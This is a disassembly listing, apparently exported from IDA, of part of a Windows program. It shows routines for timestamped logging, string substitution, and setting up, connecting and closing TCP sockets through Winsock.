		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419A10:				; CODE XREF: ___:00401C99j
		nop
		call	near ptr 77C371D3h
		cdq
		idiv	dword ptr [esp+4]
		mov	eax, edx
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------

locret_419A30:				; CODE XREF: ___:00401528j
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419A50	proc near		; CODE XREF: sub_401FE1j
		xor	al, al
		retn	4
sub_419A50	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419A70	proc near		; CODE XREF: sub_40152Dj

arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_C]
		mov	ecx, [esp+arg_4]
		mov	edx, [esp+arg_8]
		cmp	eax, 1
		setnl	al
		mov	byte ptr [esp+arg_C], al
		push	ecx
		mov	eax, [esp+4+arg_C]
		push	edx
		push	eax
		push	0
		mov	ecx, offset byte_4D8075
		call	sub_401118
		retn
sub_419A70	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419AB0:				; CODE XREF: ___:0040150Fj
		sub	esp, 0Ch
		mov	eax, [esp+20h]
		push	ebx
		push	ebp
		push	esi
		xor	esi, esi
		push	edi
		cmp	eax, esi
		mov	dword ptr [esp+18h], 80h
		mov	[esp+10h], esi
		jz	short loc_419AE3
		push	eax
		call	near ptr 77C1BF18h
		nop
		add	esp, 4
		cmp	eax, esi
		mov	[esp+10h], eax
		jz	short loc_419AE3
		mov	[esp+18h], eax


loc_419AE3:				; CODE XREF: ___:00419ACBj
					; ___:00419ADDj
		mov	edi, [esp+28h]
		mov	ebx, [esp+24h]
		mov	ebp, [esp+20h]
		mov	[esp+14h], esi
		mov	esi, offset dword_508E2C


loc_419AF8:				; CODE XREF: ___:00419B49j
		mov	ecx, [esp+14h]
		mov	eax, [esp+18h]
		cmp	ecx, eax
		jge	short loc_419B4B
		cmp	byte ptr [esi],	0
		jz	short loc_419B34
		mov	eax, [esp+30h]
		test	eax, eax
		jz	short loc_419B28
		mov	ecx, [esp+10h]
		test	ecx, ecx
		jnz	short loc_419B28
		push	eax
		push	esi
		nop
		call	near ptr 77C47C60h
		add	esp, 8
		test	eax, eax
		jz	short loc_419B34


loc_419B28:				; CODE XREF: ___:00419B0Fj
					; ___:00419B17j
		push	edi
		push	esi
		push	ebx
		push	ebp
		call	sub_40152D
		add	esp, 10h


loc_419B34:				; CODE XREF: ___:00419B07j
					; ___:00419B26j
		mov	edx, [esp+14h]
		add	esi, 80h
		inc	edx
		cmp	esi, offset dword_50CE2C
		mov	[esp+14h], edx
		jl	short loc_419AF8


loc_419B4B:				; CODE XREF: ___:00419B02j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419B90:				; CODE XREF: ___:00402289j
		push	ebx
		mov	ebx, dword_511B04
		push	esi
		push	edi
		mov	edi, [esp+10h]
		mov	esi, offset dword_508E2C


loc_419BA2:				; CODE XREF: ___:00419BBEj
		cmp	byte ptr [esi],	0
		jz	short loc_419BB2
		push	edi
		push	esi
		call	ebx	; strstr
		add	esp, 8
		test	eax, eax
		jnz	short loc_419BC6


loc_419BB2:				; CODE XREF: ___:00419BA5j
		add	esi, 80h
		cmp	esi, offset dword_50CE2C
		jl	short loc_419BA2
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_419BC6:				; CODE XREF: ___:00419BB0j
		pop	edi
		pop	esi
		mov	eax, 1
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419BE0	proc near		; CODE XREF: sub_4010D2j

var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		sub	esp, 10h
		lea	eax, [esp+10h+var_10]
		push	esi
		push	edi
		push	eax
		nop
		call	near ptr 27C0000h
		mov	edi, dword_511B08
		mov	esi, offset dword_50CE2C


loc_419BFB:				; CODE XREF: sub_419BE0+3Bj
		cmp	byte ptr [esi],	0
		jz	short loc_419C0F
		push	7Fh
		lea	ecx, [esi+80h]
		push	esi
		push	ecx
		call	edi	; strncpy
		add	esp, 0Ch


loc_419C0F:				; CODE XREF: sub_419BE0+1Ej
		sub	esi, 80h
		cmp	esi, offset dword_508E2C
		jge	short loc_419BFB
		mov	edx, [esp+18h+arg_0]
		mov	eax, [esp+18h+var_4]
		mov	ecx, [esp+12h]
		push	edx
		mov	edx, [esp+1Ch+var_8]
		and	eax, 0FFFFh
		and	ecx, 0FFFFh
		push	eax
		mov	eax, [esp+20h+var_10]
		and	edx, 0FFFFh
		push	ecx
		mov	ecx, [esp+1Ah]
		push	edx
		mov	edx, [esp+28h+var_10+2]
		and	eax, 0FFFFh
		and	ecx, 0FFFFh
		push	eax
		and	edx, 0FFFFh
		push	ecx
		push	edx
		push	offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
		push	80h
		push	offset dword_508E2C
		call	near ptr 77C3FA76h
		nop
		add	esp, 28h
		pop	edi
		pop	esi
		add	esp, 10h
		retn
sub_419BE0	endp

; ---------------------------------------------------------------------------
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419CB0:				; CODE XREF: ___:004012DAj
		sub	esp, 600h
		mov	ecx, 80h
		xor	eax, eax
		push	ebx
		push	ebp
		push	esi
		push	edi
		lea	edi, [esp+10h]
		mov	esi, [esp+614h]
		rep stosd
		mov	ecx, 80h
		lea	edi, [esp+210h]
		mov	ebp, dword_511B08
		push	1FFh
		rep stosd
		mov	ecx, 80h
		lea	edi, [esp+414h]
		rep stosd
		lea	eax, [esp+14h]
		push	esi
		push	eax
		call	ebp	; strncpy
		mov	edx, [esp+628h]
		or	ecx, 0FFFFFFFFh
		mov	edi, edx
		xor	eax, eax
		add	esp, 0Ch
		repne scasb
		not	ecx
		dec	ecx
		cmp	ecx, 180h
		jbe	short loc_419D21
		mov	[edx+180h], al


loc_419D21:				; CODE XREF: ___:00419D19j
		mov	ebx, [esp+618h]
		lea	ecx, [esp+10h]
		push	ebx
		push	ecx
		call	near ptr 77C47C60h
		nop
		add	esp, 8
		test	eax, eax
		jz	loc_419E32


loc_419D3F:				; CODE XREF: ___:00419E25j
		lea	edx, [esp+10h]
		push	ebx
		push	edx
		call	near ptr 77C47C60h
		nop
		mov	esi, eax
		mov	edi, ebx
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	1FFh
		add	ecx, esi
		lea	eax, [esp+41Ch]
		push	ecx
		push	eax
		call	ebp	; strncpy
		lea	ecx, [esp+24h]
		push	1FFh
		lea	edx, [esp+228h]
		push	ecx
		push	edx
		mov	byte ptr [esi],	0
		call	ebp	; strncpy
		lea	edx, [esi+1]
		add	esp, 20h
		test	edx, edx
		jz	short loc_419E00
		lea	eax, [ebx-1]
		test	eax, eax
		jz	short loc_419E00
		lea	edi, [ebx-1]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	edi, edx
		mov	esi, ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		cmp	ecx, esi
		jbe	short loc_419DDD
		mov	edx, [esp+61Ch]
		lea	ecx, [esp+410h]
		push	ecx
		lea	eax, [esp+214h]
		push	edx
		push	eax
		lea	ecx, [esp+1Ch]
		push	offset aSSS	; "%s%s%s"
		push	ecx
		nop
		call	sub_5F76F7
		add	esp, 14h
		jmp	short loc_419E00
; ---------------------------------------------------------------------------


loc_419DDD:				; CODE XREF: ___:00419DAEj
		mov	edx, [esp+61Ch]
		lea	eax, [esp+210h]
		push	edx
		push	eax
		lea	ecx, [esp+18h]
		push	offset aSS_3	; "%s%s"
		push	ecx
		nop
		call	sub_5F76F7
		add	esp, 10h


loc_419E00:				; CODE XREF: ___:00419D8Aj
					; ___:00419D91j ...
		mov	edx, [esp+61Ch]
		mov	esi, dword_511B04
		push	edx
		push	ebx
		call	esi	; strstr
		add	esp, 8
		test	eax, eax
		jnz	short loc_419E2B
		lea	eax, [esp+10h]
		push	ebx
		push	eax
		call	esi	; strstr
		add	esp, 8
		test	eax, eax
		jnz	loc_419D3F


loc_419E2B:				; CODE XREF: ___:00419E16j
		mov	esi, [esp+614h]


loc_419E32:				; CODE XREF: ___:00419D39j
		lea	edi, [esp+10h]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		push	ecx
		lea	ecx, [esp+14h]
		push	ecx
		push	esi
		call	ebp	; strncpy
		add	esp, 0Ch
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 600h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 70h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419ED0:				; CODE XREF: ___:004018DEj
		sub	esp, 10h
		push	esi
		push	0
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_419EEE
		or	eax, eax
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_419EEE:				; CODE XREF: ___:00419EE5j
		mov	ecx, [esp+18h]
		xor	eax, eax
		mov	[esp+4], eax
		push	ecx
		mov	[esp+0Ch], eax
		mov	word ptr [esp+8], 2
		mov	[esp+10h], eax
		mov	[esp+14h], eax
		nop
		call	near ptr 71AB2B66h
		lea	edx, [esp+4]
		push	10h
		push	edx
		push	esi
		mov	[esp+12h], ax
		mov	dword ptr [esp+14h], 0
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jz	short loc_419F39
		or	eax, 0FFFFFFFFh
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_419F39:				; CODE XREF: ___:00419F2Fj
		push	7FFFFFFFh
		push	esi
		nop
		call	near ptr 71AB88D3h
		test	eax, eax
		jz	short loc_419F51
		or	eax, 0FFFFFFFFh
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_419F51:				; CODE XREF: ___:00419F47j
		mov	eax, esi
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419F90:				; CODE XREF: ___:00401E83j
		push	edi
		xor	edi, edi
		mov	eax, offset byte_4E02A5


loc_419F98:				; CODE XREF: ___:00419FA8j
		cmp	dword ptr [eax], 0
		jz	short loc_419FAA
		add	eax, 316h
		inc	edi
		cmp	eax, offset byte_4E7E15
		jle	short loc_419F98


loc_419FAA:				; CODE XREF: ___:00419F9Bj
		cmp	edi, 13h
		jle	short loc_419FB4
		or	eax, 0FFFFFFFFh
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_419FB4:				; CODE XREF: ___:00419FADj
		lea	eax, [edi+edi*4]
		push	ebx
		shl	eax, 4
		sub	eax, edi
		mov	ebx, off_511C00
		push	esi
		lea	eax, [eax+eax*4]
		lea	esi, ds:4E01ABh[eax*2]
		mov	eax, [esp+10h]
		push	eax
		push	esi
		call	ebx ; sub_5F76F7
		mov	ecx, [esp+24h]
		mov	edx, [esp+1Ch]
		mov	eax, [esp+20h]
		mov	[esi+0FAh], ecx
		mov	ecx, [esp+28h]
		mov	[esi+0FEh], edi
		mov	[esi+106h], edx
		mov	[esi+10Ah], eax
		add	esi, 10Eh
		push	ecx
		push	esi
		call	ebx ; sub_5F76F7
		add	esp, 10h
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A050	proc near		; CODE XREF: sub_4013F2j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

		push	edi
		xor	edi, edi
		mov	eax, offset dword_4D8735


loc_41A058:				; CODE XREF: sub_41A050+18j
		cmp	dword ptr [eax], 0
		jz	short loc_41A06A
		add	eax, 316h
		inc	edi
		cmp	eax, offset byte_4E02A5
		jle	short loc_41A058


loc_41A06A:				; CODE XREF: sub_41A050+Bj
		cmp	edi, 13h
		jle	short loc_41A074
		or	eax, 0FFFFFFFFh
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41A074:				; CODE XREF: sub_41A050+1Dj
		lea	eax, [edi+edi*4]
		push	ebx
		shl	eax, 4
		sub	eax, edi
		mov	ebx, off_511C00
		push	esi
		lea	eax, [eax+eax*4]
		lea	esi, ds:4D863Bh[eax*2]
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	esi
		call	ebx ; sub_5F76F7
		mov	ecx, [esp+14h+arg_C]
		mov	edx, [esp+14h+arg_4]
		mov	eax, [esp+14h+arg_8]
		mov	[esi+0FAh], ecx
		mov	ecx, [esp+14h+arg_10]
		mov	[esi+0FEh], edi
		mov	[esi+106h], edx
		mov	[esi+10Ah], eax
		add	esi, 10Eh
		push	ecx
		push	esi
		call	ebx ; sub_5F76F7
		add	esp, 10h
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_41A050	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A110	proc near		; CODE XREF: sub_401C49j

var_190		= byte ptr -190h
arg_0		= byte ptr  4

		sub	esp, 190h
		push	ebp
		mov	ebp, ecx
		push	esi
		push	edi
		mov	dword ptr [ebp+0], offset off_43F0BC
		mov	eax, dword_50DAF8
		test	eax, eax
		jnz	short loc_41A148
		mov	eax, dword_50DAF8
		inc	eax
		mov	dword_50DAF8, eax
		lea	ecx, [esp+19Ch+var_190]
		push	ecx
		push	202h
		nop
		call	near ptr 71AB664Dh
		jmp	short loc_41A155
; ---------------------------------------------------------------------------


loc_41A148:				; CODE XREF: sub_41A110+19j
		mov	edx, dword_50DAF8
		inc	edx
		mov	dword_50DAF8, edx


loc_41A155:				; CODE XREF: sub_41A110+36j
		mov	al, [esp+19Ch+arg_0]
		or	ecx, 0FFFFFFFFh
		mov	[ebp+80Ah], al
		mov	edi, offset byte_448F30
		xor	eax, eax
		mov	[ebp+806h], ecx
		mov	byte ptr [ebp+80Ch], 0
		mov	word ptr [ebp+4], 0
		repne scasb
		not	ecx
		sub	edi, ecx
		lea	edx, [ebp+6]
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, ebp
		and	ecx, 3
		rep movsb
		pop	edi
		mov	byte ptr [ebp+80Bh], 0
		pop	esi
		pop	ebp
		add	esp, 190h
		retn	4
sub_41A110	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A1E0	proc near		; CODE XREF: ___:004018E3j sub_401B09j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401FE6
		test	[esp+4+arg_0], 1
		jz	short loc_41A1F8
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_41A1F8:				; CODE XREF: sub_41A1E0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_41A1E0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A210	proc near		; CODE XREF: sub_401FE6j
		mov	al, [ecx+80Ah]
		mov	dword ptr [ecx], offset	off_43F0BC
		test	al, al
		jnz	short loc_41A225
		call	sub_4014E7


loc_41A225:				; CODE XREF: sub_41A210+Ej
		mov	eax, 1
		mov	ecx, dword_50DAF8
		cmp	ecx, eax
		jle	short loc_41A240
		mov	eax, dword_50DAF8
		dec	eax
		mov	dword_50DAF8, eax

locret_41A23F:				; CODE XREF: sub_41A210:loc_41A240j
		retn
; ---------------------------------------------------------------------------


loc_41A240:				; CODE XREF: sub_41A210+22j
		jnz	short locret_41A23F
		mov	ecx, dword_50DAF8
		dec	ecx
		mov	dword_50DAF8, ecx
		nop
		jmp	near ptr 71AB4428h
sub_41A210	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41A280:				; CODE XREF: ___:004015AAj
		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset loc_43BFCB
		push	eax
		mov	large fs:0, esp
		sub	esp, 814h
		push	esi
		mov	esi, ecx
		call	sub_40196A
		test	al, al
		jz	loc_41A331
		mov	al, [esi+80Bh]
		test	al, al
		jz	short loc_41A2B9
		mov	al, 1
		jmp	short loc_41A331
; ---------------------------------------------------------------------------


loc_41A2B9:				; CODE XREF: ___:0041A2B3j
		push	ebx
		push	edi
		mov	edi, [esp+830h]
		push	800h
		lea	eax, [esi+6]
		push	edi
		push	eax
		nop
		call	near ptr 77C47A90h
		mov	ebx, [esp+840h]
		add	esp, 0Ch
		lea	ecx, [esp+0Ch]
		mov	[esi+4], bx
		call	sub_401186
		mov	ecx, [esp+83Ch]
		mov	edx, [esp+838h]
		push	ecx
		push	edx
		push	ebx
		push	edi
		lea	ecx, [esp+1Ch]
		mov	dword ptr [esp+838h], 0
		call	sub_401640
		push	eax
		mov	ecx, esi
		call	sub_4020E5
		lea	ecx, [esp+0Ch]
		mov	bl, al
		mov	dword ptr [esp+828h], 0FFFFFFFFh
		call	sub_40187A
		mov	al, bl
		pop	edi
		pop	ebx


loc_41A331:				; CODE XREF: ___:0041A2A5j
					; ___:0041A2B7j
		mov	ecx, [esp+818h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 820h
		retn	10h
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A390	proc near		; CODE XREF: sub_40196Aj
		mov	al, byte_444DA4
		retn
sub_41A390	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A3B0	proc near		; CODE XREF: sub_4020E5j

var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_114		= dword	ptr -114h
var_110		= dword	ptr -110h
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= byte ptr  10h

		sub	esp, 11Ch
		push	ebp
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_40196A
		test	al, al
		jnz	short loc_41A3D0
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 11Ch
		retn	10h
; ---------------------------------------------------------------------------


loc_41A3D0:				; CODE XREF: sub_41A3B0+12j
		mov	al, [esi+80Bh]
		test	al, al
		jnz	loc_41A571
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		cmp	eax, 0FFFFFFFFh
		mov	[esi+806h], eax
		jnz	short loc_41A40A
		mov	ecx, esi
		call	sub_4014E7
		pop	edi
		pop	esi
		xor	al, al
		pop	ebp
		add	esp, 11Ch
		retn	10h
; ---------------------------------------------------------------------------


loc_41A40A:				; CODE XREF: sub_41A3B0+43j
		mov	al, [esp+128h+arg_C]
		test	al, al
		jnz	short loc_41A419
		push	1
		jmp	short loc_41A41B
; ---------------------------------------------------------------------------


loc_41A419:				; CODE XREF: sub_41A3B0+63j
		push	0


loc_41A41B:				; CODE XREF: sub_41A3B0+67j
		mov	ecx, esi
		call	sub_4018CA
		mov	edi, [esp+128h+arg_4]
		xor	eax, eax
		mov	[esp+128h+var_114], eax
		push	edi
		mov	[esp+12Ch+var_110], eax
		mov	[esi+4], di
		mov	[esp+12Ch+var_10C], eax
		mov	word ptr [esp+12Ch+var_114], 2
		mov	[esp+12Ch+var_108], eax
		call	near ptr 71AB2B66h
		nop
		mov	ecx, [esp+128h+arg_0]
		mov	word ptr [esp+128h+var_114+2], ax
		mov	eax, [esi+806h]
		lea	edx, [esp+128h+var_114]
		push	10h
		push	edx
		push	eax
		mov	[esp+134h+var_110], ecx
		mov	[esi+4], di
		call	near ptr 71AB406Ah
		nop
		mov	ebp, dword_511C50
		test	eax, eax
		jge	short loc_41A4BC
		call	ebp	; WSAGetLastError
		cmp	eax, 2733h
		jz	short loc_41A4AD
		call	ebp	; WSAGetLastError
		cmp	eax, 0Bh
		jz	short loc_41A4AD
		call	ebp	; WSAGetLastError
		cmp	eax, 2733h
		jz	short loc_41A4AD
		mov	byte ptr [esi+80Bh], 0
		pop	edi
		pop	esi
		xor	al, al
		pop	ebp
		add	esp, 11Ch
		retn	10h
; ---------------------------------------------------------------------------


loc_41A4AD:				; CODE XREF: sub_41A3B0+D6j
					; sub_41A3B0+DDj ...
		mov	al, byte ptr [esp+128h+arg_8]
		test	al, al
		jnz	loc_41A56A


loc_41A4BC:				; CODE XREF: sub_41A3B0+CDj
		mov	eax, [esi+806h]
		xor	ecx, ecx
		lea	edx, [esp+128h+var_11C]
		mov	edi, dword_511C94
		mov	[esp+128h+var_11C], ecx
		push	edx
		mov	[esp+12Ch+var_118], ecx
		push	ecx
		lea	ecx, [esp+130h+var_104]
		mov	[esp+130h+var_100], eax
		push	ecx
		inc	eax
		push	0
		push	eax
		mov	[esp+13Ch+var_11C], 0Ah
		mov	[esp+13Ch+var_104], 1
		call	edi	; select
		test	eax, eax
		jge	short loc_41A530


loc_41A4FB:				; CODE XREF: sub_41A3B0+17Ej
		call	ebp	; WSAGetLastError
		call	ebp	; WSAGetLastError
		cmp	eax, 4
		jnz	short loc_41A545
		mov	eax, [esp+128h+var_11C]
		test	eax, eax
		jnz	short loc_41A514
		mov	eax, [esp+128h+var_118]
		test	eax, eax
		jz	short loc_41A545


loc_41A514:				; CODE XREF: sub_41A3B0+15Aj
		mov	ecx, [esi+806h]
		lea	edx, [esp+128h+var_11C]
		push	edx
		lea	eax, [esp+12Ch+var_104]
		push	0
		push	eax
		inc	ecx
		push	0
		push	ecx
		call	edi	; select
		test	eax, eax
		jl	short loc_41A4FB


loc_41A530:				; CODE XREF: sub_41A3B0+149j
		mov	al, [esp+128h+arg_C]
		test	al, al
		jnz	short loc_41A561
		mov	edx, [esp+128h+arg_8]
		push	edx
		jmp	short loc_41A563
; ---------------------------------------------------------------------------


loc_41A545:				; CODE XREF: sub_41A3B0+152j
					; sub_41A3B0+162j
		mov	ecx, esi
		call	sub_4014E7
		mov	byte ptr [esi+80Bh], 0
		pop	edi
		pop	esi
		xor	al, al
		pop	ebp
		add	esp, 11Ch
		retn	10h
; ---------------------------------------------------------------------------


loc_41A561:				; CODE XREF: sub_41A3B0+189j
		push	0


loc_41A563:				; CODE XREF: sub_41A3B0+193j
		mov	ecx, esi
		call	sub_4018CA


loc_41A56A:				; CODE XREF: sub_41A3B0+106j
		mov	byte ptr [esi+80Bh], 1


loc_41A571:				; CODE XREF: sub_41A3B0+28j
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebp
		add	esp, 11Ch
		retn	10h
sub_41A3B0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A600	proc near		; CODE XREF: sub_4014E7j
		push	esi
		mov	esi, ecx
		mov	eax, [esi+806h]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41A61A
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41A61A
		push	eax
		nop
		call	near ptr 71AB9639h


loc_41A61A:				; CODE XREF: sub_41A600+Cj
					; sub_41A600+11j
		mov	ecx, esi
		call	sub_401375
		mov	byte ptr [esi+80Bh], 0
		pop	esi
		retn
sub_41A600	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A640	proc near		; CODE XREF: sub_401375j
		push	ebp
		mov	edx, ecx
		push	esi
		push	edi
		or	ecx, 0FFFFFFFFh
		mov	edi, offset byte_448F30
		xor	eax, eax
		mov	[edx+806h], ecx
		mov	word ptr [edx+4], 0
		lea	ebp, [edx+6]
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		pop	edi
		pop	esi
		mov	byte ptr [edx+80Bh], 0
		mov	byte ptr [edx+80Ch], 0
		pop	ebp
		retn
sub_41A640	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A6B0	proc near		; CODE XREF: sub_401492j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		sub	esp, 10h
		push	esi
		mov	esi, ecx
		call	sub_40196A
		test	al, al
		jnz	short loc_41A6C6
		pop	esi
		add	esp, 10h
		retn	4
; ---------------------------------------------------------------------------


loc_41A6C6:				; CODE XREF: sub_41A6B0+Dj
		mov	al, [esi+80Bh]
		test	al, al
		jnz	loc_41A77F
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		cmp	eax, 0FFFFFFFFh
		mov	[esi+806h], eax
		jnz	short loc_41A6FB
		mov	ecx, esi
		call	sub_4014E7
		xor	al, al
		pop	esi
		add	esp, 10h
		retn	4
; ---------------------------------------------------------------------------


loc_41A6FB:				; CODE XREF: sub_41A6B0+39j
		mov	ecx, [esp+14h+arg_0]
		xor	eax, eax
		mov	[esp+14h+var_10], eax
		push	ecx
		mov	[esp+18h+var_C], eax
		mov	word ptr [esp+18h+var_10], 2
		mov	[esp+18h+var_8], eax
		mov	[esp+18h+var_4], eax
		nop
		call	near ptr 71AB2B66h
		mov	word ptr [esp+14h+var_10+2], ax
		mov	eax, [esi+806h]
		lea	edx, [esp+14h+var_10]
		push	10h
		push	edx
		push	eax
		mov	[esp+20h+var_C], 0
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jz	short loc_41A754
		mov	ecx, esi
		call	sub_4014E7
		xor	al, al
		pop	esi
		add	esp, 10h
		retn	4
; ---------------------------------------------------------------------------


loc_41A754:				; CODE XREF: sub_41A6B0+92j
		mov	ecx, [esi+806h]
		push	32h
		push	ecx
		nop
		call	near ptr 71AB88D3h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41A778
		mov	ecx, esi
		call	sub_4014E7
		xor	al, al
		pop	esi
		add	esp, 10h
		retn	4
; ---------------------------------------------------------------------------


loc_41A778:				; CODE XREF: sub_41A6B0+B6j
		mov	byte ptr [esi+80Bh], 1


loc_41A77F:				; CODE XREF: sub_41A6B0+1Ej
		mov	al, 1
		pop	esi
		add	esp, 10h
		retn	4
sub_41A6B0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A7D0	proc near		; CODE XREF: sub_401B95j

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_114		= byte ptr -114h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 120h
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_40196A
		test	al, al
		jnz	short loc_41A7EE
		pop	edi
		pop	esi
		add	esp, 120h
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41A7EE:				; CODE XREF: sub_41A7D0+11j
		mov	al, [esi+80Bh]
		test	al, al
		jnz	short loc_41A805
		pop	edi
		xor	al, al
		pop	esi
		add	esp, 120h
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41A805:				; CODE XREF: sub_41A7D0+26j
		mov	al, [esi+80Ch]
		test	al, al
		jnz	short loc_41A881
		call	sub_40196A
		test	al, al
		jz	short loc_41A874
		mov	edi, dword_511C94


loc_41A81E:				; CODE XREF: sub_41A7D0+A2j
		mov	eax, [esi+806h]
		lea	ecx, [esp+128h+var_11C]
		push	ecx
		mov	[esp+12Ch+var_100], eax
		push	0
		lea	edx, [esp+130h+var_104]
		push	0
		inc	eax
		push	edx
		push	eax
		mov	[esp+13Ch+var_104], 1
		mov	[esp+13Ch+var_11C], 0
		mov	[esp+13Ch+var_118], 64h
		call	edi	; select
		test	eax, eax
		jz	short loc_41A86B
		mov	ecx, [esi+806h]
		lea	eax, [esp+128h+var_104]
		push	eax
		push	ecx
		call	sub_438256
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_41A881


loc_41A86B:				; CODE XREF: sub_41A7D0+84j
		call	sub_40196A
		test	al, al
		jnz	short loc_41A81E


loc_41A874:				; CODE XREF: sub_41A7D0+46j
		pop	edi
		xor	al, al
		pop	esi
		add	esp, 120h
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41A881:				; CODE XREF: sub_41A7D0+3Dj
					; sub_41A7D0+99j
		mov	eax, [esp+128h+arg_4]
		mov	[esp+128h+var_120], 0FFFFFFFFh
		test	eax, eax
